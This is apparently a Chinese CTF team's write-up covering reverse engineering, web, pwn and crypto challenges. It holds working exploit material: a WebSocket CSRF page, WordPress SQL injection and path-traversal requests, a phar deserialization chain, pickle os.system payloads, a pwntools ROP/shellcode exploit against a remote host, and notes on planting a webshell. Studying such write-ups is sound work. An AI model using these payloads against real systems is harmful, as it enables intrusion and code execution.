z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
flag = i % 8 == 0
if flag:
num +=1
KeyStream[num] = ((KeyStream[num] << 1) | ((((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1))))))
for i in range(len(check_res)):
s.add(check_res[i] == KeyStream[i])
if s.check() == sat:
m = s.model()
print(m)
# y = 868387187
# z = 3131229747
# x = 156324965
num2 = 868387187
num3 = 3131229747
num = 156324965
L = [num,num2,num3]
Key = [0]*12
for i in range(3):
for j in range(4):
Key[i * 4 + j] = (L[i] >> j * 8 & 255)
res = [60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227]
flag = ''
for i in range(len(res)):
flag += chr(res[i] ^ Key[i%len(Key)])
print(flag)
else:
print('no ans')
find_basic
ida分析，可以发现大量的混淆，和susctf的一道题类似，先观察混淆结构再去混淆。
会依次执行pushf -> pusha -> mov -> call -> pop。
mov用于赋值，类似虚拟机里的opcode，之后call调用函数，该函数为dispatcher，根据mov赋值的结
果执行不同的逻辑。
会有许多这样的结构。cmp -> jnz -> popa -> popf -> valid code
最后才是真正会执行的有效代码，最后会jmp然后跳出。
则根据该混淆逻辑，写出脚本去混淆，找到一块空地址来写入有效指令，因为有的dispatcher里还会有
call指令，可以输出后找到有效的相同结构再进行去混淆。
from idaapi import *
from ida_ua import *
from keystone import *
from capstone import *
ks = Ks(KS_ARCH_X86, KS_MODE_32)
cs = Cs(CS_ARCH_X86, CS_MODE_32)
insn = insn_t()
b = bytearray()
def dis(bytecode, address):
for i in cs.disasm(bytecode, address):
res = i.mnemonic + ' ' + i.op_str
return res
def get_valid_code(addr):
global b
func_ea = addr
while True:
s = GetDisasm(func_ea) # 获取当前指令
if s == 'pushf': # 获取dispatcher结果
# pushf -> pusha -> mov -> call -> pop
l = decode_insn(insn, func_ea)
func_ea += l # jmp pushf
l = decode_insn(insn, func_ea)
func_ea += l # jmp pusha
# mov
opcode = get_operand_value(func_ea, 1)
reg = get_operand_value(func_ea, 0)
l = decode_insn(insn, func_ea)
func_ea += l # jmp mov
call_func_ea = get_operand_value(func_ea, 0)
l = decode_insn(insn, func_ea)
func_ea += l # jmp call
l = decode_insn(insn, func_ea)
func_ea += l # jmp pop
#print(hex(call_func_ea))
while True: # 找到对应分支
s = GetDisasm(call_func_ea)
if s[:3] == 'cmp':
cmp_opcode = get_operand_value(call_func_ea, 1)
cmp_reg = get_operand_value(call_func_ea, 0)
if cmp_opcode == opcode and cmp_reg == reg: # find!
l = decode_insn(insn, call_func_ea)
call_func_ea += l # jmp cmp
break
length = decode_insn(insn, call_func_ea) # 获取指令长度
call_func_ea += length
# cmp -> jnz -> popa -> popf -> valid code
#print(hex(opcode))
l = decode_insn(insn, call_func_ea)
call_func_ea += l # jmp jnz
l = decode_insn(insn, call_func_ea)
call_func_ea += l # jmp popa
l = decode_insn(insn, call_func_ea)
call_func_ea += l # jmp popf
# jump to valid code
s = GetDisasm(call_func_ea)
if s == 'pushf':
# retn
b += b'\xC3'
continue
while True:
s = GetDisasm(call_func_ea)
#print(s)
if s[:3] == 'jmp':
# retn
break
# get valid code
length = decode_insn(insn, call_func_ea) # 获取指令长度
#print(length,hex(call_func_ea))
disas = dis(get_bytes(call_func_ea, length), call_func_ea)
b += bytes(ks.asm(disas, call_func_ea)[0])
call_func_ea += length
else: # 正常代码
length = decode_insn(insn, func_ea) # 获取指令长度
disas = dis(get_bytes(func_ea, length), func_ea)
b += bytes(ks.asm(disas, func_ea)[0])
func_ea += length
if s == 'retn':
break
valic_code_addr = 0x8C100
get_valid_code(0x48F4)
get_valid_code(0x48C8)
get_valid_code(0x3FBF)
get_valid_code(0x3F1B)
get_valid_code(0x4148)
get_valid_code(0x750A9)
get_valid_code(0x33EC)
patch_bytes(valic_code_addr, bytes(b))
print('done!')
最后可发现是对输入进行多元一次方程组运算来校验，用z3约束求解。
from z3 import *
s = Solver()
flag = [Int('v'+str(i)) for i in range(28)]
tmp1 = Int('tmp1')
tmp2 = Int('tmp2')
tmp3 = Int('tmp3')
s.add(-164755 * flag[9]+ 175470 * flag[8]+ -28660 * flag[1]+ 7217 *
flag[11]+ -295102 * flag[4]+ -28531 * flag[19]+ -106265 * flag[25]+ -92750 *
flag[10]+ 16738 * flag[21]+ -231714 * flag[6]+ 172042 * flag[24]+ -215890 *
flag[17]+ 199697 * flag[12]+ -84235 * flag[7]+ 44614 * flag[13]+ 75104 *
flag[5]+ -195843 * flag[0]+ -15784 * flag[14]+ -131950 * flag[15]+ -268167 *
flag[16]+ -197565 * flag[20]+ 24340 * flag[23]+ 105130 * flag[2]+ -79750 *
flag[22] - 264668 * flag[3] + 50329 * flag[18] + 137774797 == 0)
s.add(40085 * flag[3]+ -222506 * flag[2]+ 54507 * flag[4]+ 88056 * flag[1] +
212571 * flag[5] - 160722 * flag[0] - 434973 == 0)
s.add(49300 * flag[3]+ 259229 * flag[0]+ 278066 * flag[2] - 127937 * flag[1]
- 295169 * flag[4] - 8368677 == 0)
s.add(42214 * flag[1]+ -108025 * flag[3] + 205972 * flag[0] + 27559 *
flag[2] - 17114904 == 0)
s.add(-151496 * flag[1] + 204740 * flag[0] + 80143 * flag[2] - 12295783 ==
0)
s.add(241935 * flag[1]+ 124128 * flag[0] - 38790036 + 273221 * flag[0] -
27868542 == 0)
s.add(-279656 * flag[2]+ -199574 * flag[1]+ -258130 * flag[8]+ -200399 *
flag[3] + -173903 * flag[7]+ 175816 * flag[0]+ -234569 * flag[6] - 108273 *
flag[4] - 222957 * flag[5] + 128244179 == 0)
s.add(-81541 * flag[1]+ -268763 * flag[0]+ 219073 * flag[3]+ 34782 *
flag[6]+ 21153 * flag[5]+ 173005 * flag[7] + 76285 * flag[4] + 32825 *
flag[2] - 13874925 == 0)
s.add(85214 * flag[2]+ -268299 * flag[3]+ -230981 * flag[1]+ 290772 *
flag[5]+ -74394 * flag[4] + 28044 * flag[6] - 242995 * flag[0] + 50871139 ==
0)
s.add(-208564 * flag[0]+ 81934 * flag[9]+ -106641 * flag[7]+ 198477 *
flag[2]+ 154505 * flag[1]+ 48440 * flag[5]+ -149004 * flag[3]+ -108909 *
flag[4]+ -51714 * flag[10] - 296420 * flag[8] + 263021 * flag[6] + 688726 ==
0)
s.add(-131130 * flag[2]+ 224265 * flag[3]+ 230702 * flag[0]+ -176285 *
flag[7]+ -274778 * flag[4]+ 103848 * flag[8]+ -136039 * flag[9]+ -241151 *
flag[5] + 15542 * flag[6] - 17521 * flag[1] + 41644083 == 0)
s.add(195056 * flag[4]+ -15717 * flag[9]+ -180214 * flag[6]+ -114427 *
flag[5]+ 277782 * flag[7]+ 261379 * flag[8]+ -225266 * flag[2]+ 107609 *
flag[0] + 259792 * flag[3] + 270563 * flag[11]+ 205124 * flag[1] + 138334 *
flag[10] + 103474 * flag[12] - 117027475 == 0)
s.add(189573 * flag[8]+ 64393 * flag[6]+ 231137 * flag[1]+ 145315 * flag[4]+
-53938 * flag[10]+ -291345 * flag[5]+ 216413 * flag[3]+ -204681 * flag[0]+
-65519 * flag[9]+ -262826 * flag[2] + 187002 * flag[7] + 271732 * flag[11] -
38663722 == 0)
s.add(15645 * flag[13]+ 276267 * flag[12]+ 31190 * flag[5]+ -244002 *
flag[2]+ 81415 * flag[3]+ -22940 * flag[10]+ -126076 * flag[7]+ 8932 *
flag[8]+ 112153 * flag[4]+ 194218 * flag[11]+ 197656 * flag[9]+ -204463 *
flag[0] - 219500 * flag[1] + 19777 * flag[6] - 24531260 == 0)
s.add(279969 * flag[8]+ -123977 * flag[4]+ 162094 * flag[0]+ -215769 *
flag[1]+ -18878 * flag[14]+ -80292 * flag[11]+ -237675 * flag[5]+ -222121 *
flag[6]+ 269381 * flag[12]+ 153934 * flag[13]+ -165380 * flag[10]+ -157137 *
flag[2]+ -186748 * flag[3] + 170756 * flag[7] - 186932 * flag[9] + 87264470
== 0)
s.add(-87190 * flag[2]+ -74836 * flag[1]+ 16892 * flag[9]+ -185781 *
flag[8]+ -12726 * flag[7]+ 85022 * flag[12]+ 232989 * flag[10]+ 68516 *
flag[0]+ -120254 * flag[6]+ -204892 * flag[5]+ -65901 * flag[4]+ -201087 *
flag[13]+ 158612 * flag[11]+ -49445 * flag[3] - 181860 * flag[14] - 111015 *
flag[15] + 43646834 == 0)
s.add(-170184 * flag[3]+ -137671 * flag[4]+ -85374 * flag[9]+ -73658 *
flag[11]+ 230891 * flag[13]+ 54346 * flag[15]+ -280694 * flag[0]+ 60411 *
flag[2]+ 27171 * flag[7]+ -50618 * flag[6]+ 11843 * flag[10]+ 131778 *
flag[5]+ 13956 * flag[8]+ -42562 * flag[12]+ -19972 * flag[1] - 145797 *
flag[14] - 58717 * flag[16] + 74613584 == 0)
s.add(242475 * flag[16]+ -234385 * flag[0]+ 124653 * flag[2]+ -287929 *
flag[13]+ -190916 * flag[12]+ -277578 * flag[11]+ 39 * flag[8]+ -41625 *
flag[6]+ 67262 * flag[5]+ -250144 * flag[9]+ -70886 * flag[10]+ -223492 *
flag[15]+ -179651 * flag[7]+ 206538 * flag[17]+ 161965 * flag[3]+ -146258 *
flag[4] + 167068 * flag[1] + 196330 * flag[14] + 76353817 == 0)
s.add(29700 * flag[18]+ -60542 * flag[5]+ 274107 * flag[11]+ 154914 *
flag[13]+ -143185 * flag[12]+ 167424 * flag[2]+ 137439 * flag[8]+ -186151 *
flag[10]+ -77157 * flag[9]+ -233090 * flag[6]+ -27400 * flag[7]+ -76557 *
flag[15]+ -108002 * flag[17]+ 103161 * flag[14]+ -133956 * flag[1]+ -219502
* flag[4]+ -202897 * flag[0] - 250957 * flag[3] - 119297 * flag[16] +
100812197 == 0)
s.add(-171971 * flag[9]+ 38740 * flag[4]+ -31661 * flag[10]+ -194653 *
flag[18]+ -295910 * flag[16]+ 136489 * flag[12]+ 212619 * flag[17]+ 165592 *
flag[11]+ 211791 * flag[1]+ 156909 * flag[2]+ -232187 * flag[8]+ -73709 *
flag[7]+ 79735 * flag[14]+ 184882 * flag[13]+ 111105 * flag[6]+ 148840 *
flag[3]+ -35774 * flag[19]+ -275711 * flag[0] + 135265 * flag[5] - 141221 *
flag[15] - 39117122 == 0)
s.add(-186514 * flag[17]+ -7791 * flag[2]+ 276755 * flag[11]+ -294815 *
flag[14]+ -238763 * flag[15]+ -146099 * flag[5]+ 184977 * flag[16]+ 178413 *
flag[1]+ 287303 * flag[3]+ -71946 * flag[10]+ -73771 * flag[9]+ -129032 *
flag[18]+ 200202 * flag[20]+ -150509 * flag[6]+ -156625 * flag[13]+ 14093 *
flag[7]+ 192584 * flag[12]+- 122770 * flag[0]+- 255494 * flag[8] + 65 *
flag[4] - 108479 * flag[19] + 13521895 ==0)
s.add(210978 * flag[7]+ 300336 * flag[10]+ 207254 * flag[15]+ 216206 *
flag[5]+ -63529 * flag[0]+ -274903 * flag[11]+ -10750 * flag[14]+ 25008 *
flag[4]+ -100942 * flag[19]+ -104857 * flag[2]+ 266501 * flag[8]+ 229070 *
flag[17]+ -234559 * flag[16]+ 298459 * flag[3]+ -172052 * flag[6]+ -98938 *
flag[12]+ 66155 * flag[13]+ -84761 * flag[1]+ -283508 * flag[18]+ 288577 *
flag[21] - 75407 * flag[20] - 204447 * flag[9] + 4351595 == 0)
s.add(-201846 * flag[14]+ 272550 * flag[20]+ 60398 * flag[6]+ 45580 *
flag[7]+ 195108 * flag[11]+ 38596 * flag[0]+ 220445 * flag[18]+ -190873 *
flag[15]+ 103477 * flag[9]+ 118842 * flag[19]+ 206336 * flag[10]+ -249940 *
flag[17]+ -48084 * flag[21]+ 104901 * flag[5]+ -48576 * flag[4]+ 287104 *
flag[16]+ -286686 * flag[1]+ -30253 * flag[22]+ 121183 * flag[3]+ 90967 *
flag[2]+ -195519 * flag[12] - 129304 * flag[8] + 141188 * flag[13] -
56642147 == 0)
s.add(110609 * flag[4]+ 5913 * flag[21]+ -197578 * flag[7]+ 45127 *
flag[18]+ 282426 * flag[13]+ -71019 * flag[16]+ -6980 * flag[11]+ 208216 *
flag[15]+ -13544 * flag[20]+ 17852 * flag[8]+ 167833 * flag[12]+ 145568 *
flag[17]+ 3610 * flag[19]+ 91985 * flag[1]+ -267402 * flag[5]+ -32355 *
flag[14]+ -197823 * flag[23]+ 135525 * flag[2]+ -229424 * flag[22]+ 38093 *
flag[10]+ 50167 * flag[6]+ 118713 * flag[9] + 123874 * flag[0] - 89499 *
flag[3] - 43090537 == 0)
s.add(62119 * flag[17]+ -17215 * flag[24]+ 289621 * flag[18]+ 53006 *
flag[20]+ 95969 * flag[11]+ 202404 * flag[0]+ 247060 * flag[21]+ 144211 *
flag[19]+ 280106 * flag[7]+ -126431 * flag[10]+ -226837 * flag[12]+ 10463 *
flag[23]+ 121257 * flag[13]+ -84190 * flag[9]+ 88917 * flag[1]+ 15453 *
flag[14]+ 271442 * flag[4]+ 110851 * flag[3]+ -231422 * flag[5]+ 176741 *
flag[22]+ 266134 * flag[2]+ -197327 * flag[6]+ -55225 * flag[8] - 265465 *
flag[15] + 119612 * flag[16] - 98514358 == 0)
s.add(tmp1 == 151924 * flag[25]+ -265311 * flag[6]+ 107604 * flag[11]+
-47851 * flag[24]+ 227178 * flag[13]+ -162699 * flag[2]+ 2171 * flag[20]+
211070 * flag[23]+ 94815 * flag[22]+ 124760 * flag[16]+ 41462 * flag[19]+
-277022 * flag[15]+ -62501 * flag[26]+ -17727 * flag[14]+ -257908 * flag[4]+
-175112 * flag[21]+ 8972 * flag[10]+ -71801 * flag[8]+ -114724 * flag[5]+
-252898 * flag[9]+ 161457 * flag[1]+ -64461 * flag[0]+ -111493 * flag[18]+
200145 * flag[17] + -290075 * flag[3] + 158466 * flag[12])
s.add(tmp2 == tmp1 - 275262 * flag[7] + 86899519)
s.add(tmp2 == 0)
s.add(tmp3 == 142850 * flag[18]+ -166704 * flag[1]+ 284852 * flag[22]+
248972 * flag[7]+ -76200 * flag[17]+ 261708 * flag[19]+ 91911 * flag[24]+
22347 * flag[3]+ 76006 * flag[21]+ 256511 * flag[6]+ -100052 * flag[14]+
-115830 * flag[2]+ -93202 * flag[23]+ 248858 * flag[12]+ -262669 * flag[10]+
67895 * flag[5]+ -111771 * flag[8]+ -132193 * flag[11]+ -141512 * flag[13]+
139406 * flag[27]+ 109646 * flag[16]+ -286309 * flag[9]+ 175476 * flag[15] +
138067 * flag[20] + 192825 * flag[25])
s.add(199577 * flag[0] + -63091 * flag[4] + tmp3 - 285207 * flag[26] -
58820340 + tmp2 == 0)
if s.check() == sat:
print('success')
m = s.model()
res = ''
for i in range(len(flag)):
res += chr(m[flag[i]].as_long())
print(res)
else:
print('no ans')
得到flag{U_90t_th3_8451c_53cre7}
easyapk
安卓逆向，校验逻辑在native的check函数。
经过了严重的混淆。
最后这里能找到比较结果。
根据参数交叉引用可确定关键加密函数为 sub_DFF74544 。
该函数也有混淆，在最下方可看到类似tea加密的结构。
通过断点调试观察变量值，可发现tea加密的常数0x9e3779b9，以及对应的密钥。
则根据加密结果以及密钥进行解密，脚本如下。
# https://github.com/Autosaida/recrypto
from recrypto.utils import *
from recrypto.tea import *
res = [ 0x84, 0xAA, 0x94, 0x5D, 0xA0, 0x24, 0xFA, 0x14, 0x10, 0x02,
0x56, 0x2B, 0x49, 0xDD, 0x9B, 0xB6, 0xD4, 0xEA, 0xEF, 0xAA,
0xC6, 0xF4, 0x8C, 0x4B, 0xC9, 0xB8, 0x7F, 0x09, 0xD2, 0x51,
0xEC, 0xB5]
key = [0x33323130, 0x37363534, 0x62613938 ,0x66656463]
res = bytes2long(bytes(res),4 ,'little')
flag = b''
tea_decipher(res, key)
for i in range(8):
flag += long2bytes(res[i])[::-1]
print(flag)
输出synt{Vg_Vf_A0g_guNg_zHpu_unEqre}，显然为rot13，解密即可得到flag。
deeprev
Googlectf的一道同类型题，找到网上的脚本，format_addr函数修改了一下
https://ctf.harrisongreen.me/2022/googlectf/eldar/
上面的脚本有点长，懒得放了
大致思路是对输入异或然后+i对比数据
但是flag数组前四个没直接给出，有四个大数字以第一个为例1585408084625667200
转为16进制16008040cc253480 倒叙一下就是 803425cc40800016，再根据后面的数据类推，flag[0]就
是0x16
import hashlib
xor=[0x16,0x17,0x10,0x12,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x24,
0x2c,0x26,0x1e,0x1f,0x20,0x20,0x21,0x23,0x27,0x24,0x25,0x26,0x27]
encflag=[0x70,0x7c,0x73,0x78,0x6f,0x27,0x2a,0x2c,0x7f,0x35,0x2d,0x32,0x37,0x3b,0x22,
0x59,0x53,0x8e,0x3d,0x2a,0x59,0x27,0x2d,0x29,0x34,0x2d,0x61,0x32]
a=""
for i in range(len(encflag)):
a+=chr((encflag[i]-i)^xor[i])
l = "1234567890abcdef"
for b in l:
for c in l:
for d in l:
flag = a+b+c+d+"}"
sha = hashlib.sha256(flag.encode("utf-8")).hexdigest()
if sha[0:16] == "f860464d767610bb":
print(flag)
break
flag{366c950370fec47e34581a0574}
WEB
babyweb
先进行账号注册登录，发现有WebSocket 跨域劫持漏洞
根据漏洞原理与特征，进行csrf获得更改admin的密码
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script type="text/javascript">
• function myfun(){
• alert("xss");
• var url = "ws://127.0.0.1:8888/bot";
• var ws = new WebSocket(url);
• ws.onopen = function()
• {
• // Web Socket 已连接上，使用 send() 方法发送数据
• ws.send("changepw gogogo");
• };
• }
• window.onload=myfun;
</script>
</html>
把代码部署到服务器上，让bot进行访问更改密码，进入管理界面，获得源码
根据源码，构造假的数据，获得flag
flag{618ba527-977f-408f-aa81-c919ddaf4ebc}
easylogin
根据hint：
题目中wordpress自定义了action，相关漏洞在各大论坛上均有复现，复现方式基本分为2种，请自行尝试
query sql注入漏洞：
action=123123&query_vars[tax_query][12]
[field]=term_taxonomy_id&query_vars[tax_query][13]
[include_children]=1&query_vars[tax_query][14][terms]
[15]=1)+or+updatexml(0x7e,concat(1,database()),0x7e)#
暂时不清楚如何利用，不过还有一个8888的站，联想到注入该站获取密码。
通过在本地安装moodle后查看数据库发现密码无法解密，不过注意到数据库中有一个表名为
mdl_user_password_resets的表，里面存有token，同时通过测试发现发送找回密码时会存入该
token，在重置密码时带有该token即可重置，密码不能为弱密码。
token=
<token>&username=admin&password=Admin%40123&password2=Admin%40123&submitbutto
n=Save+changes后台上传插件rce，flag在/etc/mytest里面。
easyweb
showfile处简单绕一下：
./demo/../index.php
拖出来源码，经过测试可以用phar协议，同时源码有个class.php，联想到phar反序列化。
class.php一个很明显的pop链，不过有wakeup尝试用改属性数量绕过，发现需要绕过签名：
根据：http://www.yongsheng.site/2022/05/14/phar/
from hashlib import sha1
file = open("test.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容，主要是此时Sha1正确
了。
open("new.jpg","wb").write(new_file)
上传点直接用PHP_SESSION_UPLOAD_PROGRESS来绕过就行了。
读proc/net/tcp发现有个10.10.10.10的机器，直接利用curl去读flag：
<?php
class GuestShow{
public $file;
public $contents;
public function __construct($file)
{
$this->file=$file;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'http://';
}
}
@unlink("test.phar");
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
$o = new GuestShow(new AdminShow("10.10.10.10:80/?url=file:///flag"));
$phar->setMetadata($o);//将自定义的meta-data存入manifest
//var_dump($phar->getMetadata());
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
$content = str_replace('4:{','9:{',file_get_contents('test.phar'));
file_put_contents('test.phar', $content);
system('python3 check.py')
crash
给了源码，balancer可以pickle反序列化，同时只是过滤了R，直接绕过即可。
i
b'''(S'whoami'
ios
system
.'''
o
b'''(cos
system
S'whoami'
o.'''
flag in 504 page
尝试直接sleep 100s后发现服务器直接502，由于服务器是nginx启动的，经过搜索找到文章：https://www.cnblogs.com/rexcheny/p/11179643.html
这个原因就是Nginx的proxy_read_timeout超时时长小于，后端处理时长。但其根本原因是当Nginx
的read或者send到达超时时长后端还没有返回响应那么Nginx就会主动断开和后端的，也就是主动发送 FIN，从而产生了504
sleep过长会导致502，因此可以让服务器连续处理sleep，也就是说同时发起多个sleep，nginx按顺序
响应，但在某一个请求中会一直超时从而主动断开产生504。
在cookie处设置userdata为如下的base64
(cos
system
S'sleep 10'
o.
用burp发多个包，在某个包中即可取得504拿到flag。
强网先锋
rcefile
首先使用御剑扫描发现有源码
根据源码中upload.php，得知上传类型和黑名单
尝试.htaccess等都无效，在网上搜索phar可以直接执行php，尝试使用phar
用蚁剑连接
devnull
这个题经过静态分析之后可以发现，问题出在三个地方：第一次fgets是，可以读入0x20个字节导致fd被
\x00所覆盖，第一次read函数时，读入了0x2c个字节导致栈溢出，第二次read函数时，可以向buf所在
的位置读入0x60个字节，所以，思路就是通过第一次输入使fd为0，然后read函数就会从stdin里找东
西，从而栈溢出并使其迁移到buf的位置，buf的值可以为0x3fe000或者0x3ff000都行，然后利用
mprotect使该区域可执行，最后写入shellcode即可，由于没开pie，所以直接把地址写死就好了，最终
exp如下：
from pwn import *
context.log_level = 'debug'
#p = process('./devnull')
p = remote('123.56.105.22',22939)
elf=ELF('./devnull')
p.recvuntil('filename')
payload=36*'a'+p64(0x3fe000)*4+p32(0x0000000000401354)
p.send(payload)
p.send(p64(0x3fe000+0x28)+p64(0x401350)+p64(0x3fe000)+'/bin/sh\x00'*2+p64(0xdeadbeef)+p64(0x4012d0)+p64(0)+p64(0x3fe000+0x48)+asm(shellcraft.execve(0x3fe000+0x18,0,0)))
p.sendline('exec 1>&2')
p.interactive()
这里说一下几个gadget：
0x401354这个gadget是用来迁移的（leave ret）
0x401350这个gadget可以控制rax的值，而在后面mprotect的时候，有一个gadget为：mov
rdi,rax，所以控制了rax的值就可以控制rdi的值，从而使buf的位置可以执行 0x4012d0这个位置其实就是执行mprotect
polydiv
sage有现成的模块，直接在GF(2)下做运算就行
import hashlib
from pwn import *
from itertools import product
import string
from Crypto.Util.number import *
from sage.all import *
context(log_level='debug')
p=remote('182.92.161.17',14686)
table = string.ascii_letters + string.digits
def proof_of_work():
rev = p.recvuntil("sha256(XXXX+")
suffix = p.recv(16).decode()
p.recvuntil(" == ")
res = p.recv(64).decode()
def f(x):
hashresult = hashlib.sha256((x+suffix).encode()).hexdigest()
if hashresult == res:
return 1
else:
return 0
prefix = util.iters.mbruteforce(f,table,4,'upto')
p.sendline(str(prefix))
proof_of_work()
R = PolynomialRing(GF(2),'x')
x = R.gen()
def strdeal(s):
pp=''
for i in range(len(s)):
if s[i]==94:
pp+='**'
else:
pp+=chr(s[i])
return pp
for i in range(40):
p.recvuntil('r(x) = ')
s1=strdeal(p.recvline()[:-1])
f1=eval(s1)
p.recvuntil('a(x) = ')
s2=strdeal(p.recvline()[:-1])
f2=eval(s2)
p.recvuntil('c(x) = ')
s3=strdeal(p.recvline()[:-1])
f3=eval(s3)
se=(f1-f3)*f2**(-1)
p.sendline(str(se))
p.interactive()
ASR
应该是非预期的解法，看到四个质数的比特数不算太大，于是尝试用yafu直接去对n进行分解，大约一
小时把因数分解出来。由于公钥e为3，是n的其中两质数减一的差的因子，所以后续部分没办法直接解
rsa，e又比较小，所以直接尝试有限域开根然后用crt穷举所有可能的解，转为字节得到flag。
p1 = 223213222467584072959434495118689164399
p2 = 260594583349478633632570848336184053653
p3 = 218566259296037866647273372633238739089
p4 = 225933944608558304529179430753170813347
n =
8250871280281573979365095715711359115372504458973444367083195431861307534563
2465373642481041064945980819882165844320031991988057537214484509113085580411
1546590017923079893961558351775626555781471041915746272179386453223904275880
8298575522666358352726060578194045804198551989679722201244547561044646931280
001
e = 3
c =
9452727937177220909620309608241807265763574815117999049038413122653087068529
7115520500397182184306927293825038593559760905970044653043638112465073175198
2419593070224310399320617914955227288662661442416421725698368791013785074809
6918679884443062792310133600247475852617903526272344502099964228623295132841
49
PR.<x>=PolynomialRing(Zmod(p1))
f=x^e-c
ans1=f.roots()
PR.<x>=PolynomialRing(Zmod(p2))
f=x^e-c
ans2=f.roots()
PR.<x>=PolynomialRing(Zmod(p3))
f=x^e-c
ans3=f.roots()
PR.<x>=PolynomialRing(Zmod(p4))
f=x^e-c
ans4=f.roots()
for i in range(len(ans1)):
for j in range(len(ans2)):
for k in range(len(ans3)):
for l in range(len(ans4)):
m=crt([int(ans1[i][0]),int(ans2[j][0]),int(ans3[k]
[0]),int(ans4[l][0])],[p1,p2,p3,p4])
try:
print(bytes.fromhex(hex(m)[2:]))
except:
continue
WP-UM
提供源码，根据源码可知用的是user-meta插件，有已知漏洞:
https://www.zilyun.com/23036.html
POST /wp-admin/admin-ajax.php HTTP/1.1<br>
Accept: */*<br>
Accept-Language: en-GB,en;q=0.5<br>
Accept-Encoding: gzip, deflate<br>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br>
X-Requested-With: XMLHttpRequest<br>
Content-Length: 158<br>
Connection: close<br>
Cookie: [subscriber+]<br>
<br>
field_name=test&filepath=/../../../../../../../../etc/passwd&field_id=um_fie
ld_4&form_key=Upload&action=um_show_uploaded_file&pf_nonce=4286c1c56a&is_aja
x=true
可利用该漏洞来判断文件是否存在，因为：
猫哥最近用wordpress搭建了一个个人博客，粗心的猫哥因为记性差，所以把管理员10位的账号作为文件
名放在/username下和15位的密码作为文件名放在/password下。
并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)＋一个大写或小写字母一个文件，例如 admin分成5个文件，文件名是1a 2d 3m 4i 5n
先注册用户，上传文件获取nonce。
利用漏洞可判断出密码，先大写后小写，写脚本爆即可（题目很卡，还不如手测快）：
MaoGeYaoQiFeiLa
而用户名在发布的文章中可看见作者为：
MaoGePaMao
登陆后台后利用主题文件编辑器写入webshell:
/wp-content/themes/twentytwenty/404.php
flag在：/usr/local/This_1s_secert